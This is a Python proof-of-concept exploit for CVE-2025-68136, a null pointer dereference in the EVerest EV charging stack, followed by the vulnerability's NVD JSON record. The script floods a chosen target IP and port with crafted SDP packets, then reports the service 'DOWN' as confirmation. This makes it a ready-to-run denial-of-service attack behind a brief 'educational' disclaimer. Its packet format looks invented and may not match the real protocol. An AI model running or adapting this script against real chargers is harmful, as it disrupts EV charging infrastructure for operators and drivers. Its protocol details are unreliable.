CVE-2025-68136

#!/usr/bin/env python3 """ CVE-2025-68136 PoC - EVerest SDP Request Memory Corruption This PoC demonstrates sending multiple rapid SDP requests to trigger the null pointer dereference in EVerest's SDP handler. Note: This is for educational/testing purposes only. """ import socket import struct import time from typing import List def create_sdp_request(msg_type: int, seq_num: int) -> bytes: """Create a malformed SDP request packet.""" # SDP header structure header = struct.pack('!BBH', 0x01, msg_type, seq_num) # SDP payload with specific values to trigger the vulnerability payload = b'\x00' * 16 # Padding to trigger object creation return header + payload def send_sdp_flood(target_ip: str, target_port: int, count: int = 100): """ Send rapid SDP requests to trigger memory management bug. Args: target_ip: Target EVerest server IP target_port: SDP service port (typically 8849 or 8847) count: Number of rapid requests to send """ print(f"[*] Starting SDP flood attack against {target_ip}:{target_port}") print(f"[*] Sending {count} rapid SDP requests...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.settimeout(5) sock.connect((target_ip, target_port)) for i in range(count): try: sdp_packet = create_sdp_request(msg_type=0x01, seq_num=i) sock.send(sdp_packet) time.sleep(0.001) # Rapid requests to trigger race condition if i % 10 == 0: print(f"[+] Sent {i} requests...") except Exception as e: print(f"[!] Error sending request {i}: {e}") break print("[*] Flood complete. Check for service availability.") except ConnectionRefusedError: print("[!] Connection refused - target may not be running EVerest SDP service") except Exception as e: print(f"[!] Connection error: {e}") finally: sock.close() def check_service_availability(target_ip: str, target_port: int) -> bool: """Check if EVerest SDP service is still responding.""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(3) try: sock.connect((target_ip, target_port)) # Send a normal SDP request sock.send(create_sdp_request(msg_type=0x01, seq_num=0)) response = sock.recv(1024) return len(response) > 0 except: return False finally: sock.close() if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="CVE-2025-68136 PoC") parser.add_argument("--target", default="192.168.1.100", help="Target IP") parser.add_argument("--port", type=int, default=8849, help="Target port") parser.add_argument("--count", type=int, default=100, help="Number of requests") args = parser.parse_args() print("=" * 60) print("CVE-2025-68136: EVerest SDP Null Pointer Dereference PoC") print("=" * 60) # Check initial availability print("[*] Checking initial service availability...") if check_service_availability(args.target, args.port): print("[+] Service is initially available") else: print("[!] Service is not responding or not available") # Send attack send_sdp_flood(args.target, args.port, args.count) # Check if service is down time.sleep(2) print("[*] Checking service availability after attack...") if check_service_availability(args.target, args.port): print("[+] Service is still available (target may be patched)") else: print("[!] Service is DOWN - vulnerability confirmed!")

{"cve": {"id": "CVE-2025-68136", "sourceIdentifier": "[email protected]", "published": "2026-01-21T20:16:05.677", "lastModified": "2026-02-06T21:21:48.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "EVerest is an EV charging software stack. Prior to version 2025.10.0, once the module receives a SDP request, it creates a whole new set of objects like `Session`, `IConnection` which open new TCP socket for the ISO15118-20 communications and registers callbacks for the created file descriptor, without closing and destroying the previous ones. Previous `Session` is not saved and the usage of an `unique_ptr` is lost, destroying connection data. Latter, if the used socket and therefore file descriptor is not the last one, it will lead to a null pointer dereference. Version 2025.10.0 fixes the issue."}, {"lang": "es", "value": "EVerest es una pila de software de carga de VE. Antes de la versión 2025.10.0, una vez que el módulo recibe una solicitud SDP, crea un conjunto completamente nuevo de objetos como 'Session', 'IConnection' que abren un nuevo socket TCP para las comunicaciones ISO15118-20 y registra retrollamadas para el descriptor de archivo creado, sin cerrar y destruir los anteriores. La 'Session' anterior no se guarda y el uso de un 'unique_ptr' se pierde, destruyendo los datos de conexión. Posteriormente, si el socket utilizado y, por lo tanto, el descriptor de archivo no es el último, esto conducirá a una desreferenciación de puntero nulo. La versión 2025.10.0 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linuxfoundation:everest:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.10.0", "matchCriteriaId": "94E1768A-FED9-477E-A4B7-99FD10058D23"}]}]}], "references": [{"url": "https://github.com/EVerest/everest-core/security/advisories/GHSA-4h8h-x5cp-g22r", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}